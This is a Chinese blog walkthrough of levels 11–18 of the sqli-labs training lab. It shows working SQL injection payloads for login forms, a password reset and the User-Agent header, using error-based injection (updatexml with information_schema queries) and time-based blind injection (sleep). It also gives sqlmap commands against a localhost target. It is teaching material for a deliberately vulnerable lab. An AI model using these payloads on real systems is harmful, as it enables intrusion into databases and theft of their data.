当前位置:网站首页>在sqli-liabs学习SQL注入之旅(第十一关~第二十关)
在sqli-liabs学习SQL注入之旅(第十一关~第二十关)
2022-04-23 08:34:00 【关键_词】
十一关
可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞!
前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。
第一步:判断参数接受的类型。
账号:admin' 密码:1111 页面报错
账号:admin' # 密码:1111 登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin 密码:1111' 页面报错
账号:admin 密码:1111' # 页面正常 判断参数接受方式 password = '$password'
注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。
查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 参数类型判断正确!
如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 成功获取数据库名
第三步:爆所有表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
后面爆列名,爆数据我就不重复了,前面十关的语句如果我们有收藏,这里直接复制粘贴即可!
这里有个小疑问:为什么前面都使用 --+ 注释后面的语句,到这里变 # 了。其实我也没搞懂,只是因为 --+ 在这里行不通,不行你试试!实战中我们两个都试一下就行了。
也可以使用工具sqlmap一把梭
由于这里是POST注入,我们需要抓个包,然后保存文档去跑
第一步:输入账号密码,提交后,使用burp suite抓个包!
第二步:将抓包到的数据复制到一个txt文件,然后使用sqlmap工具来实现POST注入
最终效果
十二关
第一步:猜参数接受类型
账号:admin' 密码:1111 页面正常
账号:admin" 密码:1111 页面报错 判断有 " ,从页面的报错可以知道还有 ()
账号:admin") # 密码:1111 页面正常 判断参数接受方式:username = ("$username")
查看第十二关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; 判断正确
第二步:直接上使用报错语句
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
后面的不做重复,参考前面的关卡!!
十三关
这一关和十二关类似,区别在于参数的接受方式不同:
十二关:username = ("$username") 双引号
十三关:username = ('$username') 单引号
第十三关源码:@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
十四关
这一关更简单,使用的是 " 接受参数类型。
这一关使用的参数接受类型:password="$passwd"
第十四关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
后续操作看前面的关卡,不再重复!!
十五关
第一步:猜参数接受类型
账号:admin' 密码:1111 页面正常
账号:admin" 密码:1111 页面正常
账号:admin') 密码:1111 页面正常 判断页面无论对错都不返回东西。只能上绝招!!
第二步:延时注入
账号:admin' and sleep(5) 页面停5秒 判断代码: username = ('$username')
查看十五关源码:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 判断正确
注意:延时注入语句 admin' and sleep(5) 前提是admin必须正确!!!不然无论如何页面都没反应。
接下来的操作和前面关卡的延时注入一样。区别在于前面是 GET方式 注入,这里是 POST方式 注入。
小结:这关考核了延时注入,当然前面几关也可以延时注入,不过我们要节省时间,高效为主。不得已才用延时注入!
报错注入语句形式:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
延时注入语句形式:admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1) #
*可以发现,报错注入前面的参数只要出错,后面的语句就能执行。
*但是延时注入不同,我们必须保证前提条件admin正确,and后面的语句才会被执行。我们才能知道我们后面的语句是否正确!!!
十六关
这一关和十五关类似,也是使用延时注入!区别在于参数的接受方式不同:
十五关:admin' and sleep(5) # username = '$username'
十六关:admin") and sleep(5) # username = ("$username")
十七关
这一关页面提示了我们,重置密码。其实万变不离其宗!开搞!!!
第一步:猜参数接受方式
账号:admin' 密码:111 页面显示更改失败
账号:admin" 密码:111 页面显示更改失败 到这里我们发现账号没注入点,那就试试注入密码
账号:admin 密码:111' 页面报错
账号:admin 密码:111' # 页面正常 判断接受方式为:password = '$password'
查看十七关源码:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
因为这一关是更改密码操作,我们看到了下面update语句中password接受方式,证明我们判断正确!!!
而且这里 username='$row1' 使用的是预编译,不存在注入点!
第二步:我们知道了注入点在 password 直接上报错语句就好了!
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
注意:我们判断参数接受的时候(账号:admin 密码:111' # 页面正常)这条语句会把我们数据库所有的账号密码改成 111 ,我们只需要重置下sqliabs数据库即可。如下
十八关
根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!
第一步:猜参数接受方式
账号:admin' 密码:111 页面显示更改失败
账号:admin" 密码:111 页面显示更改失败 到这里我们发现账号没注入点,那就试试注入密码
账号:admin 密码:111' 页面显示更改失败
账号:admin 密码:111' # 页面显示更改失败 看来注入点不在账号密码中
都没有,那我们模拟实战中普通用户正常登录康康
账号:admin 密码:admin 我的账号密码是这样的,你们的按自己的来
登录后,可以看见页面输出了我们的User-Agent头内容,大概猜到这关考的是请求头注入!不同什么是数据包请求头的小伙伴可以自己百度,这是基础来的!
我们使用抓包神器 burp suite 抓个包看看请求头内容
页面报错,说明存在注入,直接上报错语句。
这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。
我们这样去构造语句:
之前的报错语句写法
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
成功跑出数据库名,后面的表名,列名就不再重复。主要学思路!
这一关如果不看源码,大部分的人都无法成功注入!所以通过多打靶场积累经验,这样实战才能得心应手!!!
当然也可以使用sqlmap神器一把梭
因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs
十九关
未完待续
版权声明
本文为[关键_词]所创,转载请带上原文链接,感谢
https://blog.csdn.net/guanjian_ci/article/details/124337012
边栏推荐
- input元素添加监听事件
- Record: JS several methods to delete one or more items in the array
- 【IndexOf】【lastIndexOf】【split】【substring】用法详解
- 什么是RPC
- DOM learning notes - traverse all element nodes of the page
- Add listening event to input element
- Copy array in JS
- How much inventory recording does the intelligent system of external call system of okcc call center need?
- LeetCode396.旋转数组
- Failed to convert a NumPy array to a Tensor(Unsupported Object type int)
猜你喜欢
Idea import commons-logging-1.2 Jar package
CGM optimizes blood glucose monitoring and management -- Yiyu technology appears in Sichuan International Medical Exchange Promotion Association
Get the absolute path of the class according to the bytecode
Test your machine learning pipeline
正点原子携手OneOS直播 OneOS系统教程全面上线
Let the earth have less "carbon" and rest on the road
Failed to convert a NumPy array to a Tensor(Unsupported Object type int)
STM32使用HAL库,整体结构和函数原理介绍
Shell script advanced
ESP32程序下载失败,提示超时
随机推荐
K210学习笔记(二) K210与STM32进行串口通信
Transformer XL: attention language modelsbbeyond a fixed length context paper summary
Excle plus watermark
洋桃电子STM32物联网入门30步笔记三、CubeMX图形化编程、设置开发板上的IO口
Overview of bus structure
对li类数组对象随机添加特性,并进行排序
【58】最后一个单词的长度【LeetCode】
LINQ学习系列-----1.4 匿名对象
STM32使用HAL库,整体结构和函数原理介绍
pgsql想实现mysql一样样的列子查询操作
Yangtao electronic STM32 Internet of things entry 30 step notes IV. engineering compilation and download
四张图弄懂matplotlib的一些基本用法
获取TrustedInstaller权限
洋桃电子STM32物联网入门30步笔记二、CubeIDE下载、安装、汉化、设置
二维01背包
求简单类型的矩阵和
form表单 post提交 数据量大的问题
怎样读取Excel表格到数据库
On time atom joins hands with oneos live broadcast, and the oneos system tutorial is fully launched
Go语言自学系列 | golang嵌套结构体